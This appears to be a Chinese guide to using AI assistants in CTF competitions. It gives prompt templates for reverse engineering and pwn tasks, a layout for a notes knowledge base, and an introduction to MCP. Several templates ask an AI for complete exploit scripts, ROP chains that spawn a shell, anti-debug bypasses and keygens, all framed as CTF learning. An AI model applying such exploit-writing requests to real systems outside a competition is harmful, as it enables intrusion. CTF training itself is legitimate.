【上传文件或粘贴strings输出】

这个程序的strings输出显示：
- "Enter password:"
- "Correct!"
- "Wrong!"
- 一些看起来像Base64的字符串

请分析：
1. 程序大概是做什么的
2. 验证逻辑可能在哪里
3. 应该重点看哪些函数

第二轮：反编译代码分析

【粘贴main函数或关键函数的反编译代码】

这是main函数的反编译代码，请：
1. 找出输入验证的位置
2. 识别调用了哪些加密函数
3. 判断flag的生成/验证逻辑

第三轮：算法还原

【粘贴加密函数的代码】

这个函数看起来是加密算法，请：
1. 还原算法逻辑
2. 判断是否可逆
3. 如果可逆，写解密脚本
4. 如果不可逆（哈希），给我爆破策略

第四轮：验证与求解

根据你的分析，我理解的逻辑是：
【用自己的话描述】

请确认我理解是否正确，然后给我最终的求解脚本

技巧4：让AI帮你调试

遇到调试问题：

我在用【GDB/x64dbg/OllyDbg】调试：

当前状态：
- 断点设置在：【地址/函数名】
- 寄存器值：【如果相关就粘贴】
- 栈内容：【如果相关就粘贴】

问题：
- 【比如"程序在这里崩溃了"/"不知道下一步应该看什么"】

请告诉我：
1. 可能的原因
2. 应该检查什么（寄存器/内存/栈）
3. GDB/x64dbg的具体命令

常见Reverse题型与AI提问策略

题型1：简单密码验证

特征：

输入密码，判断对错
main函数里能直接看到比较逻辑

AI提问：

【上传文件或粘贴反编译代码】

这是一个简单的密码验证程序：
【粘贴main函数代码】

请帮我：
1. 找出正确的密码（如果是明文比较）
2. 如果密码被编码/加密，还原原始密码
3. 给我一键求解的脚本

题型2：算法逆向

特征：

输入经过复杂变换
需要还原算法后编写逆算法

AI提问：

这个程序对输入进行了变换：

【粘贴变换算法的代码】

目标输出（已知）：【16进制或字符串】

请帮我：
1. 理解这个算法的每一步
2. 判断是否可逆
3. 写出逆算法求解输入
4. 如果不可逆，提供爆破策略（范围/字符集）

题型3：VM（虚拟机）题目

特征：

自定义指令集
需要逆向虚拟机逻辑

AI提问：

这个程序实现了一个虚拟机：

【粘贴VM指令处理的代码】

已知信息：
- 有【X个】不同的指令（opcode）
- 有【寄存器/栈/内存】结构

请帮我：
1. 识别每个opcode的功能（ADD/XOR/PUSH/POP等）
2. 还原虚拟机的指令集架构
3. 分析bytecode在做什么
4. 给我一个VM模拟器（Python实现）
5. 如果能直接求解flag，给我脚本

题型4：反调试/花指令/混淆

特征：

IDA/Ghidra反编译失败或代码很乱
存在反调试检测

AI提问：

这个程序有反调试/混淆保护：

观察到的现象：
- IDA反编译显示【垃圾代码/无法识别】
- 动态调试时【检测到调试器/程序行为异常】
- 有可疑的【ptrace/IsDebuggerPresent/时间检测】

【粘贴关键代码段】

请帮我：
1. 识别反调试的类型
2. 给我bypass的方法（patch/修改调试器）
3. 如果是花指令，如何过滤掉无用代码
4. 提供去混淆的思路或脚本

Reverse方向的进阶技巧

技巧1：建立算法特征库

让AI帮你总结：

请帮我整理常见加密算法的识别特征：

格式要求：
- 算法名称
- 典型魔数/常量
- 代码特征（循环/操作）
- 汇编层面的模式

包含算法：
Base64, AES, DES, RC4, TEA, XTEA, MD5, SHA-1/256, RSA

输出成表格，我要保存备查

技巧2：让AI写Keygen

场景：逆向出验证逻辑，需要生成正确输入

我已经逆向出密码验证的算法：

【粘贴你理解的逻辑，或者伪代码】

已知：
- 正确的输出（hash/变换结果）：【值】
- 输入范围/格式：【如果有限制】

请帮我写一个Keygen（Key Generator）：
1. 如果算法可逆：直接计算正确输入
2. 如果不可逆：爆破生成符合条件的输入
3. 如果有多个解：输出所有可能的flag

语言：Python（可读性强，方便我理解）

技巧3：交叉验证AI的分析

多AI协作策略：

步骤1：用Claude分析二进制文件（上传文件）
步骤2：把Claude的分析结果给千问/元宝复核
步骤3：如果两个AI结论不同，用Gemini做第三方判断

提问模板：
"另一个AI分析了这个程序，认为是【XXX算法】
但我觉得有疑问，你帮我再看看：
【粘贴代码或Claude的分析】
你同意这个结论吗？有没有其他可能？"

技巧4：让AI当你的Reverse导师

学习驱动的提问：

我刚做了一道Reverse题，遇到了【TEA加密】：

【粘贴题目代码】

我现在的理解是：
【用自己的话描述算法】

请帮我：
1. 确认我的理解是否正确
2. TEA算法的完整原理是什么？
3. 为什么它被广泛用在CTF中？
4. 下次遇到类似代码，如何快速识别？
5. TEA的常见变种有哪些？

我想真正学会，而不是只复制代码

Pwn方向：从崩溃到利用的艺术

为什么Pwn是CTF的终极挑战？

❌ 需要理解内存布局（栈/堆/寄存器）
❌ 需要找到漏洞（溢出/UAF/格式化字符串）
❌ 需要绕过保护（NX/PIE/ASLR/Canary）
❌ 需要构造Exploit（精确控制程序流）
❌ 调试过程极其复杂
✅ 但是！AI可以教你原理、帮你写Exploit

Pwn题目的特点与策略

难度评估：⭐⭐⭐⭐⭐ (最难，没有之一)
耗时评估：单题1小时 - 4小时（新手可能更久）
AI帮助度：⭐⭐⭐⭐ (原理讲解强，但需要你有基础)

比赛策略：
❌ 新手前期别碰Pwn，性价比极低
✅ 先把其他方向的简单题做完
✅ 如果队里有Pwn大佬，让他主攻
✅ 比赛末尾有时间，跟着AI学习Pwn思路
⚠️ 心态：Pwn题是学习经验的，不要指望拿分

Pwn必备工具链

调试工具

GDB + 增强插件（必备）：
- pwndbg：最流行，功能全面
- gef：界面友好，适合新手
- peda：老牌，功能强大

安装方法：
问AI："如何在Ubuntu上安装pwndbg？给我完整步骤"

利用工具

pwntools（Python库）：
- 编写Exploit脚本的标准工具
- 自动化漏洞利用
- 与远程服务器交互

安装：
pip install pwntools --break-system-packages

学习：
问AI："pwntools的基础用法，给我一个模板脚本"

辅助工具

- checksec：检查二进制保护机制
- ROPgadget/ropper：查找ROP gadgets
- one_gadget：查找libc中的one_gadget
- vmmap：查看内存布局

万能提问模板：Pwn入门

模板1：不知道漏洞在哪

我在做Pwn题，拿到一个二进制文件：

【方法1：上传给Claude直接分析】

【方法2：提供信息】
文件名：【pwn1/vuln/chall】
checksec结果：【粘贴checksec输出】
file结果：【ELF 64-bit/32-bit】

【粘贴源代码或反编译代码】

我是Pwn新手，请帮我：
1. 分析程序在做什么
2. 找出可能的漏洞点（栈溢出/堆溢出/格式化字符串/UAF等）
3. 判断有哪些保护机制（Canary/NX/PIE/RELRO）
4. 给我利用思路（需要泄露什么/如何绕过保护）
5. 提供Exploit模板（pwntools）

模板2：知道漏洞但不会利用

我发现了【栈溢出/堆溢出/格式化字符串】漏洞：

漏洞位置：【粘贴有漏洞的代码】

程序保护：
- Canary: 【Enabled/Disabled】
- NX: 【Enabled/Disabled】
- PIE: 【Enabled/Disabled】
- RELRO: 【Full/Partial/No】

checksec完整输出：【粘贴】

已知信息：
- 有system函数/可以泄露libc
- 栈空间大小：【如果知道】
- 输入长度限制：【如果有】

请帮我：
1. 分析利用难度（哪些保护需要绕过）
2. 给出详细的利用思路（步骤拆解）
3. 写完整的Exploit脚本（pwntools，带详细注释）
4. 如果需要调试，告诉我关键断点设在哪

模板3：调试遇到问题

我在用GDB+pwndbg调试Pwn题：

当前情况：
- 漏洞类型：【栈溢出/UAF/...】
- 我的payload：【粘贴你构造的payload】
- 程序行为：【崩溃/返回异常/没反应】

GDB输出：
【粘贴寄存器状态、栈内容、或崩溃信息】

问题：
- 【比如"为什么我的ROP链没执行"/"地址怎么算错了"】

请帮我：
1. 分析为什么exploit失败
2. 检查payload是否正确
3. 给我调试的具体命令（GDB）
4. 修正后的payload

Pwn方向的AI协作技巧

技巧1：让AI当你的Pwn老师

原理学习模板：

我在学习Pwn，请教几个问题：

1. 【栈溢出/堆溢出/格式化字符串/UAF】的原理是什么？
 用简单的例子解释，不要太学术化

2. 为什么可以通过这个漏洞控制程序执行流？
 从内存布局的角度讲讲

3. 常见的利用方法有哪些？
 【ret2libc/ROP/堆风水/...】

4. 保护机制如何阻止利用？
 【Canary/NX/PIE/ASLR】各自的原理

5. 如何绕过这些保护？
 每种保护给我一个典型的绕过案例

请用Markdown格式输出，我要保存成学习笔记

技巧2：Exploit脚本调试

逐步构建Exploit：

第一步：基础框架

请帮我写一个pwntools脚本模板：

目标：连接到【本地/远程】服务
需要功能：
- 发送payload
- 接收输出
- 调试模式开关（本地可以attach GDB）

只要框架，先不写具体利用代码

第二步：添加利用逻辑

基于刚才的模板，现在添加利用代码：

漏洞类型：【栈溢出】
目标：【覆盖返回地址为system("/bin/sh")】
已知地址：
- system: 0x12345678
- "/bin/sh": 0xabcdef00

请补充payload构造部分

第三步：处理异常

运行脚本后出现：
【粘贴错误信息或异常输出】

请帮我：
1. 分析原因
2. 修改代码
3. 解释为什么要这样改

技巧3：保护绕过策略

Canary绕过：

程序有Canary保护：

【粘贴相关代码】

我知道有以下绕过方式：
- 泄露Canary值
- 通过格式化字符串漏洞读取
- 爆破（如果fork机制）

请分析这道题应该用哪种方法，并给我脚本

PIE绕过：

程序开启了PIE，所有地址都是相对的：

保护信息：【checksec输出】

如何泄露基址？
1. 分析程序有没有信息泄露点
2. 如果有，写脚本泄露基址
3. 计算目标函数的真实地址
4. 完整的Exploit流程

ASLR绕过：

目标环境开启了ASLR，libc地址随机：

程序有：
- puts函数（可以用来泄露libc）
- read函数（可以多次输入）

请教我：
1. ret2libc的原理
2. 如何通过泄露puts地址计算libc基址
3. 如何找到system和"/bin/sh"的地址
4. 完整的两步Exploit（先泄露，再利用）

技巧4：堆题目（高级）

堆溢出分析：

这是一道堆题目：

【粘贴程序代码】

程序功能：
- malloc/free/edit功能
- 有【UAF/double free/堆溢出】漏洞

请帮我：
1. 分析堆的布局
2. 判断是哪种堆利用技术（fastbin attack/tcache/unsorted bin）
3. 给出利用思路（劫持什么指针/构造什么堆块）
4. 如果太复杂，给我学习路径（应该先学什么）

常见Pwn题型与AI提问策略

题型1：栈溢出（ret2text/ret2shellcode）

特征：

简单的gets/scanf/read溢出
无保护或只有NX

AI提问：

【上传文件或粘贴代码】

这是一个简单的栈溢出题：
保护：【checksec输出】

已知：
- 溢出点在【函数名】
- 程序里有【后门函数/system函数】

请写Exploit脚本：
1. 计算偏移量（距离返回地址多远）
2. 构造payload覆盖返回地址
3. 如果需要调试，告诉我怎么用GDB验证偏移

题型2：格式化字符串漏洞

特征：

printf(buf) 而不是 printf("%s", buf)

AI提问：

程序有格式化字符串漏洞：

【粘贴漏洞代码】

我需要：
- 泄露栈上的数据（找Canary/libc地址）
- 或者任意地址写（改GOT表）

请教我：
1. 格式化字符串的利用原理（%p、%n等）
2. 如何确定偏移量（输入在栈的第几个位置）
3. 写脚本泄露【目标】地址
4. 如果要改写内存，如何构造payload

题型3：ROP（Return-Oriented Programming）

特征：

有NX保护，不能执行shellcode
需要通过gadgets构造ROP链

AI提问：

我需要用ROP绕过NX保护：

程序信息：
- 架构：【x86/x64】
- Canary: No
- NX: Yes
- PIE: No

目标：【执行system("/bin/sh")/execve】

请帮我：
1. 解释ROP的原理（新手视角）
2. 应该找哪些gadgets（pop rdi; ret / syscall等）
3. 用ROPgadget/ropper工具找gadgets的命令
4. 构造完整的ROP链
5. 给我pwntools脚本，用ROP()类构建

题型4：整数溢出/逻辑漏洞

特征：

没有明显的内存漏洞
需要通过逻辑错误利用

AI提问：

这个程序我没找到明显的内存漏洞：

【粘贴程序代码】

但是题目肯定有问题，可能是：
- 整数溢出（负数/越界）
- 逻辑漏洞（条件判断问题）
- Off-by-one

请帮我：
1. 仔细审计代码，找出问题点
2. 解释漏洞原理（为什么可以利用）
3. 给出利用思路
4. 如果需要特殊输入（负数/极大数），告诉我怎么构造

Pwn方向的进阶学习路径

第一阶段：基础理论（AI辅助学习）

问AI：

我想系统学习Pwn，但是完全零基础。

请给我一个7天学习计划：

第1天：【应该学什么概念/看什么资料】
第2天：【...】
...
第7天：【应该能做什么难度的题】

每天的学习内容要包含：
- 理论知识（核心概念）
- 实践练习（推荐题目或靶场）
- 检验标准（怎么知道自己学会了）

请给我Markdown格式的详细计划

第二阶段：工具熟练（AI当教练）

工具使用模板：

教我如何使用【GDB+pwndbg/pwntools/ROPgadget】：

学习方式：
1. 先给我一个简单的实战场景
2. 一步步教我操作（带命令和预期输出）
3. 解释每个命令在做什么
4. 给我一个练习任务，我自己试试

我想真正掌握，不是只复制命令

第三阶段：刷题实战（AI辅助思路）

题目分析框架：

我在做Pwn题：【题目名】

我的分析流程：
1. checksec → 【结果】
2. 运行程序 → 【观察行为】
3. IDA分析 → 【主要函数逻辑】
4. 我的判断 → 【漏洞类型/利用难度】

现在我卡在：【具体问题】

请帮我：
- 验证我的分析是否正确
- 给出下一步应该做什么
- 如果方向错了，指出哪里想错了

Reverse & Pwn方向总结

Reverse方向

新手上手难度： ⭐⭐⭐⭐⭐ AI帮助程度： ⭐⭐⭐⭐⭐ (Claude逆向神器) 学习路径：

第1-2天：学会用IDA/Ghidra，看懂反编译代码
第3-4天：识别常见算法（Base64/AES/TEA）
第5-6天：简单VM题目、简单混淆
第7天：尝试真实比赛题目

AI使用建议：

✅ 上传文件给Claude直接分析（核心技能）
✅ 反编译代码看不懂 → AI逐行讲解
✅ 算法识别 → AI对比已知算法
✅ 写逆向脚本 → AI生成Python代码
✅ Ghidra脚本 → AI写自动化提取工具

Pwn方向

新手上手难度： ⭐⭐⭐⭐⭐ (最难) AI帮助程度： ⭐⭐⭐⭐ (学习神器，但需要基础) 学习路径：

第1周：理解栈/堆/寄存器，学会GDB调试
第2周：栈溢出基础（ret2text/ret2shellcode）
第3周：保护绕过（Canary/NX/PIE）
第4周：ROP链构造
之后：格式化字符串、堆利用（长期学习）

AI使用建议：

✅ 原理学习 → AI当老师，讲概念+画图
✅ 找漏洞 → AI分析代码，指出问题点
✅ 写Exploit → AI生成pwntools模板
✅ 调试问题 → AI解释GDB输出，排查错误
✅ 绕过保护 → AI给思路和案例

比赛中的Reverse/Pwn策略

⏰ 时间分配建议

【签到题阶段】（0-30分钟）
- Reverse签到题通常比Pwn简单
- 先看Reverse，如果是明文/简单编码，AI秒解

【主攻阶段】（30分钟-2小时）
- ❌ 不要碰Reverse/Pwn的难题
- ✅ 优先做完Crypto/Web/Misc的中等题

【冲分阶段】（比赛后半程）
- ✅ 其他方向做完了，再攻Reverse/Pwn
- ✅ 选一道看起来有思路的，AI辅助尝试
- ⚠️ 设定时间上限（单题不超过1小时）

【学习阶段】（比赛末尾）
- ✅ 即使解不出来，跟着AI学习解题思路
- ✅ 为以后积累经验

🎯 题目选择策略

Reverse题目：

优先级：
1️⃣ 文件很小（<100KB）→ 可能逻辑简单
2️⃣ 题目名字有"简单"/"easy"/"签到"
3️⃣ 有源码的题目 → AI分析源码比反编译快

避开：
❌ 文件>5MB → 可能有大量混淆
❌ 标题有"VM"/"虚拟机" → 新手噩梦
❌ 标题有"anti-debug" → 坑很多

Pwn题目：

优先级：
1️⃣ 保护全关（No Canary/NX/PIE）→ 入门级
2️⃣ 有源码 → AI直接分析源码找漏洞
3️⃣ 题目提示"栈溢出"/"格式化字符串" → 已知漏洞类型

避开：
❌ 保护全开（Full RELRO + Canary + NX + PIE）
❌ 标题有"堆"/"heap" → 需要深厚功底
❌ 标题有"沙箱"/"sandbox" → 超纲

心态调整与学习建议

新手常见心理障碍

❌ 错误心态：

"Reverse/Pwn太难了，我永远学不会"
"别人都会，我什么都不懂，好挫败"
"花了2小时还没做出来，太笨了"

✅ 正确心态：

"Reverse/Pwn确实最难，但一步步来能学会"
"别人也是从零开始的，我只是入门晚"
"2小时能学到东西就是赚的，解不出来是正常的"

AI辅助学习的正确姿势

建议1：不要只复制代码

❌ 看到AI给的脚本，复制粘贴就跑
✅ 问AI："这个脚本每一行在做什么？为什么要这样写？"
✅ 自己尝试修改脚本，理解原理

建议2：边做边问为什么

AI说："这是TEA算法"
你问："TEA算法为什么叫TEA？设计理念是什么？"

AI说："用ROP绕过NX"
你问："NX是怎么阻止shellcode执行的？ROP为什么能绕过？"

持续追问，直到真正理解

建议3：建立知识库

每做完一道题，让AI帮你总结：

"请帮我把这道题整理成笔记：
- 题目类型和特征
- 关键知识点
- 常见坑点
- 类似题目的通用解法

Markdown格式，我要保存到Notion/Obsidian"

小贴士：

Reverse：Claude的二进制分析能力真的强，多用上传文件功能
Pwn：pwntools + AI = 学习加速器，但基础还是要自己打
调试：GDB输出看不懂？截图给Claude，它能直接解释
心态：这两个方向就是难，解不出来不丢人，学到东西就是胜利
长期：Reverse/Pwn是CTF的天花板，慢慢学，急不来

四、效率倍增：AI批量下载题目附件与笔记整理

为什么需要批量下载？比赛中后期的"坐牢时刻"

典型场景：被卡住的无奈

比赛进行到2-3小时：
✅ 简单题做完了（Crypto签到、Web基础题）
❌ 剩下的题都太难，完全没思路
❌ 队友也在苦战，帮不上忙
⏰ 时间还很长，不想就这么放弃

这时候你在干什么？
❌ 盯着做不出来的题发呆
❌ 在群里水聊天
❌ 刷手机摸鱼

✅ 正确做法：把"坐牢时间"变成学习时间！

批量下载的核心价值

🎯 短期价值（比赛中）：
1. 整理已有资料，为后续冲刺做准备
2. 把题目保存本地，防止比赛结束后题目关闭
3. 记录解题思路和AI对话，方便队友接力
4. 保持"我还在努力"的心态，避免完全躺平

🎯 长期价值（赛后）：
1. 建立个人CTF题库，积累经验
2. 题目描述+附件+WP，完整复盘
3. 知识库逐渐成长，成为你的"外置大脑"
4. 下次比赛直接搜索笔记："我见过类似的题！"
5. 笔记够多后，可以喂给本地AI（RAG知识库）

哪些比赛支持批量下载？

有API接口的平台（推荐）

✅ RHG类型比赛
 - 通常提供Bot API
 - 可以用脚本自动下载题目+附件

⚠️ 没有API的平台
 - 只能手动下载，或者写爬虫（风险高）
 - 建议：手动下载+AI辅助整理

使用AI编写批量下载脚本

第一步：分析平台接口

AI提问模板：

我在参加CTF比赛，想批量下载题目：

平台信息：
比赛方给的Bot接口文档信息，包含api地址，调用方式，你所在队伍的token

请帮我：
1. 分析这个平台的API结构
2. 判断是否可以用脚本批量下载
3. 给我完整的Python脚本（包含登录/获取题目列表/下载附件）

没有API？手动整理 + AI辅助

手动下载的最佳实践

当平台不提供API时，不要写爬虫（可能违规）：

✅ 正确做法：
1. 手动下载每道题的附件
2. 复制题目描述到文本文件
3. 截图保存题目界面（尤其是在线靶场）
4. 让AI帮你整理成统一格式

AI整理提问模板：

我手动下载了一些CTF题目，文件很乱：

当前状态：
- 附件散落在下载文件夹
- 题目描述复制在不同的txt文件
- 截图保存在各处
- 没有统一的命名规则

请帮我设计一个目录结构：
1. 如何分类（按方向/按比赛/按难度）
2. 文件命名规范
3. 用什么格式保存题目信息（建议Markdown）
4. 如何关联题目、附件、笔记、WP

最好给我一个批量重命名/整理的脚本

AI推荐的CTF知识库目录结构

标准目录树（Obsidian友好）

📁 CTF-Knowledge-Base/ # 根目录（Obsidian仓库）
│
├── 📁 00-Index/ # 索引目录
│ ├── 📄 README.md # 知识库使用说明
│ ├── 📄 比赛记录.md # 所有参加过的比赛列表
│ ├── 📄 题目索引-按分类.md # 按Web/Crypto/Reverse分类
│ ├── 📄 题目索引-按难度.md # 按简单/中等/困难分类
│ └── 📄 工具清单.md # 常用工具和安装方法
│
├── 📁 01-Competitions/ # 比赛记录
│ ├── 📁 2024-XX杯/
│ │ ├── 📄 比赛总结.md # 比赛回顾、得分、反思
│ │ ├── 📁 Web/
│ │ │ ├── 📁 简单的SQL注入/
│ │ │ │ ├── 📄 README.md # 题目描述
│ │ │ │ ├── 📁 attachments/ # 附件
│ │ │ │ ├── 📁 screenshots/ # 截图
│ │ │ │ ├── 📁 exploits/ # 自己写的脚本
│ │ │ │ └── 📄 writeup.md # 详细WP
│ │ │ └── ...
│ │ ├── 📁 Crypto/
│ │ ├── 📁 Reverse/
│ │ └── 📁 AI-Conversations/ # AI对话记录（JSON或MD）
│ └── 📁 2024-YY大赛/
│ └── ...
│
├── 📁 02-Practice/ # 平时练习题
│ ├── 📁 BUUCTF/
│ ├── 📁 攻防世界/
│ └── 📁 PicoCTF/
│
├── 📁 03-Knowledge/ # 知识笔记
│ ├── 📁 Web/
│ │ ├── 📄 SQL注入原理.md
│ │ ├── 📄 XSS绕过技巧合集.md
│ │ └── 📄 PHP反序列化.md
│ ├── 📁 Crypto/
│ │ ├── 📄 常见编码识别.md
│ │ ├── 📄 RSA攻击方法.md
│ │ └── 📄 古典密码大全.md
│ ├── 📁 Reverse/
│ ├── 📁 Pwn/
│ └── 📁 Misc/
│
├── 📁 04-Tools/ # 工具和脚本
│ ├── 📁 scripts/ # 自己写的工具脚本
│ │ ├── 📄 批量下载.py
│ │ ├── 📄 编码转换.py
│ │ └── 📄 Ghidra自动分析.py
│ └── 📁 configs/ # 工具配置文件
│ ├── 📄 .gdbinit
│ └── 📄 Burp配置.json
│
├── 📁 05-Resources/ # 学习资源
│ ├── 📄 推荐博客.md
│ ├── 📄 视频教程.md
│ └── 📄 书籍推荐.md
│
└── 📁 06-Templates/ # 模板文件
 ├── 📄 题目模板.md
 ├── 📄 WP模板.md
 └── 📄 比赛总结模板.md

WriteUp笔记的标准格式

模板1：详细WP（供学习回顾）

 1# [题目名称]
 2
 3## 元信息
 4- **比赛**: XX杯 2024
 5- **分类**: Web / Crypto / Reverse / Pwn / Misc
 6- **分值**: 200
 7- **难度**: ⭐⭐⭐ (1-5星)
 8- **解题时间**: 45分钟
 9- **是否一血**: ❌
 10- **解题人数**: 123/500
 11
 12## 题目描述
 13
 14【原始题目描述】
 15
 16
 17## 附件信息
 18- 文件1: `vuln.zip` (123KB)
 19- 文件2: `source.php` (5KB)
 20- 在线靶场: http://xxx.xxx.xxx:8080
 21
 22## 初步分析
 23【第一眼看到题目时的思考】
 24- 文件类型：【file命令结果】
 25- 可疑点：【strings输出/代码片段】
 26- 可能的方向：【猜测题目类型】
 27
 28## 解题过程
 29
 30### 思路1：【尝试的第一个方向】
 31【详细描述】
 32
 33**遇到的问题：**
 34- 【问题1】
 35- 【问题2】
 36
 37**为什么失败：**
 38【分析原因】
 39
 40### 思路2：【正确的解题方向】
 41【详细步骤】
 42
 43#### Step 1: 【子步骤】
 44
 45**输出：**
 46
 47**分析：**
 48【对输出的理解】
 49
 50#### Step 2: 【关键突破】
 51
 52**为什么这样写：**
 53【解释原理】
 54
 55### AI辅助部分
 56【如果用了AI，记录对话】
 57
 58**提问：**
 59
 60【给AI的问题】
 61
 62
 63**AI回答：**
 64
 65
 66**实际效果：**
 67【AI建议是否有效】
 68
 69## 最终Exploit
 70
 71## Flag
 72
 73
 74## 知识点总结
 75
 76### 核心技术
 77- 【技术点1】：【原理】
 78- 【技术点2】：【原理】
 79
 80### 新学到的东西
 81- 【之前不会，这次学到的】
 82
 83### 踩过的坑
 84- 【坑1】：【原因和解决方法】
 85- 【坑2】：【原因和解决方法】
 86
 87### 相关题目
 88- [[类似题目1]] （内部链接）
 89- [[类似题目2]]
 90
 91## 参考资料
 92- [相关博客](URL)
 93- [官方WP](URL)
 94
 95## 后续TODO
 96- [ ] 深入学习【某个不懂的知识点】
 97- [ ] 尝试其他解法
 98- [ ] 写一篇博客分享
 99
100---
101**创建时间**: 2024-01-05 14:30
102**最后修改**: 2024-01-05 18:20
103**标签**: #SQL注入 #WAF绕过 #Web安全

模板2：快速笔记（比赛中记录）

 1# [题目名称] - 快速笔记
 2
 3## 基本信息
 4- 分类: Web
 5- 分值: 200
 6- 开始时间: 14:30
 7
 8## 现状
 9- [ ] 题目理解
10- [x] 基础分析
11- [ ] 找到漏洞
12- [ ] 编写Exploit
13- [ ] 拿到Flag
14
15## 当前思路
16【正在尝试的方法】
17
18## 卡点
19【遇到什么问题】
20
21## 待尝试
22- [ ] 方法1
23- [ ] 方法2
24
25## AI对话
26【粘贴关键对话】
27
28## 临时笔记
29【随手记录的信息】

⚠️ 这是比赛中的临时笔记，赛后需要整理成完整WP

Obsidian使用技巧（AI推荐）

为什么选择Obsidian？

✅ 纯Markdown，便于版本控制（Git）
✅ 双向链接，构建知识网络
✅ 全局搜索，快速定位
✅ 插件丰富（Dataview/Excalidraw/Kanban）
✅ 本地存储，隐私安全
✅ 可以当知识库喂给本地AI（RAG）

❌ VSCode的问题：
- 更适合项目代码，不适合长期笔记
- 搜索功能不如专业笔记软件
- 没有双向链接和知识图谱

核心功能配置（AI辅助）

问AI生成Obsidian配置：

我要用Obsidian管理CTF笔记：

需求：
1. 快速创建题目笔记（用模板）
2. 通过标签快速筛选（#SQL注入 #ROP等）
3. 全局搜索关键词（比如"TEA算法"）
4. 可视化知识图谱（看题目之间的关联）
5. 支持代码高亮

请推荐：
1. 必装的插件（名称+功能）
2. 如何设置模板
3. 标签体系设计（不要太复杂）
4. 搜索技巧（正则/高级语法）

推荐的插件清单：

必装：
- Templater: 自动化模板插入
- Dataview: 自动生成题目索引表
- Advanced Tables: 编辑表格
- Excalidraw: 画图（画内存布局/ROP链）

可选：
- Kanban: 管理学习进度
- Calendar: 查看每天刷题记录
- Mind Map: 知识点思维导图

知识库的高级玩法：喂给AI

场景：笔记足够多后（50+题目）

本地RAG（检索增强生成）：

工具链：
1. Obsidian笔记 → Markdown文件
2. LangChain / LlamaIndex → 向量化
3. 本地大模型（Ollama） → 推理

实现效果：
"我：这道题好像见过类似的"
"AI（基于你的笔记库）：是的，你在XX杯做过类似题，
 当时的思路是【从你的WP中提取】，
 工具用的是【从你的笔记提取】"

配置教程：
问AI："如何用LangChain + Ollama搭建本地知识库问答系统？
 我的笔记在Obsidian中，格式是Markdown"

比赛中的实战用法

全局搜索快速定位：

场景1：遇到TEA加密
Obsidian搜索: "TEA" 或 "#TEA加密"
立刻找到之前做过的题 + 解题脚本

场景2：忘记pwntools语法
搜索: "pwntools" + "ROP"
找到之前写过的Exploit模板

场景3：想不起某个工具命令
搜索: "StegSolve" 或 "Volatility"
找到之前整理的工具笔记

整理笔记的时间规划

比赛中（实时整理）

✅ 简单题做完立刻记：
- 花5分钟写快速笔记
- 记录关键命令/脚本
- 保存AI对话记录

✅ 卡住的时候整理：
- 把"坐牢时间"变成整理时间
- 下载题目附件
- 复制题目描述
- 截图保存界面

❌ 不要边做题边写详细WP
- 影响比赛节奏
- 简单记录即可

赛后（深度整理）

⏰ 比赛结束后24小时内（记忆最清晰）：

1. 整理已解出的题（1-2小时）
 - 把快速笔记扩展成完整WP
 - 补充思路和知识点
 - 整理代码和脚本

2. 复盘未解出的题（2-3小时）
 - 看别人的WP
 - 跟着AI重新做一遍
 - 记录"为什么当时没想到"

3. 知识点提炼（30分钟）
 - 把新学的知识整理成专题笔记
 - 更新工具清单
 - 更新索引文件

总结：从"坐牢"到"积累"

心态转变

❌ 消极："题目太难了，坐牢中，好无聊"
✅ 积极："反正做不出来，整理笔记也是进步"

长期价值：
- 第1次比赛：笔记10道题
- 第3次比赛：笔记50道题 → 开始能搜到相似题
- 第10次比赛：笔记200道题 → 知识库初具规模
- 1年后：笔记500+道题 → 你的外置大脑

实战清单

比赛中期（题目做完了/卡住了）：
✅ 打开下载脚本，批量保存题目
✅ 手动下载没做的题的附件
✅ 复制所有题目描述
✅ 截图保存在线靶场界面
✅ 导出AI对话记录
✅ 写简单的快速笔记

赛后24小时内：
✅ 扩展快速笔记为完整WP
✅ 看官方WP，补充未解出的题
✅ 提炼知识点，更新专题笔记
✅ 运行索引生成脚本
✅ 把新学的工具加入清单

每月一次：
✅ 回顾本月所有比赛
✅ 总结高频考点
✅ 更新知识图谱
✅ 清理重复/过时的笔记

小贴士：

批量下载脚本用AI写，5分钟搞定，别自己从零开始
Obsidian的搜索功能是神器，善用 tag:#XXX 和正则
笔记不求完美，能帮自己快速回忆就够了
知识库是长期工程，不要指望一个月就见效
比赛结束不是终点，整理笔记才是开始

五、进阶展望：MCP平台简介

MCP是什么？为什么值得关注

Model Context Protocol基本概念

MCP（Model Context Protocol）是什么？

简单理解：
❌ 不是：一个新的AI模型
❌ 不是：一个聊天软件
✅ 是：一个让AI能"动手干活"的协议标准

类比：
- 普通AI对话 = 你问AI，AI用嘴回答
- MCP = 你问AI，AI不仅回答，还能动手操作
 （读文件、运行代码、调用工具、访问数据库...）

官方定义：
MCP是Anthropic开发的开放协议，允许AI助手
安全地连接到本地和远程的数据源和工具。

与普通AI对话的区别

对比表：

维度	普通AI对话	MCP模式
交互方式	你问 → AI答	你问 → AI调用工具 → 返回结果
AI能力	只能生成文本/代码	能执行代码、读写文件、调用API
数据访问	仅限对话内容	可访问本地文件、数据库、API
工具使用	AI告诉你怎么用工具	AI直接帮你用工具
自动化	需要人工复制粘贴	全程自动化

实际例子：

场景：CTF逆向题分析

【普通AI对话】
你：这个二进制文件是什么？
AI：你可以用file命令查看，然后用strings提取字符串...
你：（手动执行命令）file crackme
你：（复制输出）ELF 64-bit...
AI：看起来是Linux程序，你可以用IDA打开...
你：（手动操作IDA，又回来问AI）

【MCP模式】
你：这个二进制文件是什么？分析一下
AI：（自动执行）file crackme
AI：（自动执行）strings crackme | grep flag
AI：（自动执行）objdump -d crackme
AI：（综合分析后直接告诉你结果和解题思路）

省去了所有"复制-粘贴-切换窗口"的步骤！

在CTF中的潜在应用

🎯 自动化解题流程：
1. AI自动下载题目附件
2. AI自动识别文件类型
3. AI自动调用分析工具（binwalk/strings/Wireshark）
4. AI自动编写和运行解题脚本
5. AI自动提交flag并记录

🎯 多工具协同：
- 连接本地工具链（IDA/GDB/Burp/Wireshark）
- 访问本地笔记库（Obsidian RAG）
- 调用在线API（VirusTotal/Shodan）

🎯 知识库增强：
- 读取本地WP笔记
- 搜索历史题目
- 自动关联相似题型
- 动态更新知识库

🎯 完全自动化比赛（黑客松场景）：
- AI从头到尾解题，人类不干预
- 适用于纯AI比赛（如腾讯黑客松）

MCP的能力边界

可以做什么（已经实现）

✅ 文件系统操作：
- 读写本地文件
- 遍历目录
- 执行shell命令

✅ 代码执行：
- 运行Python/JavaScript脚本
- 调用系统工具
- 管理进程

✅ 数据库访问：
- 查询SQLite/PostgreSQL
- 读取笔记库（Obsidian）
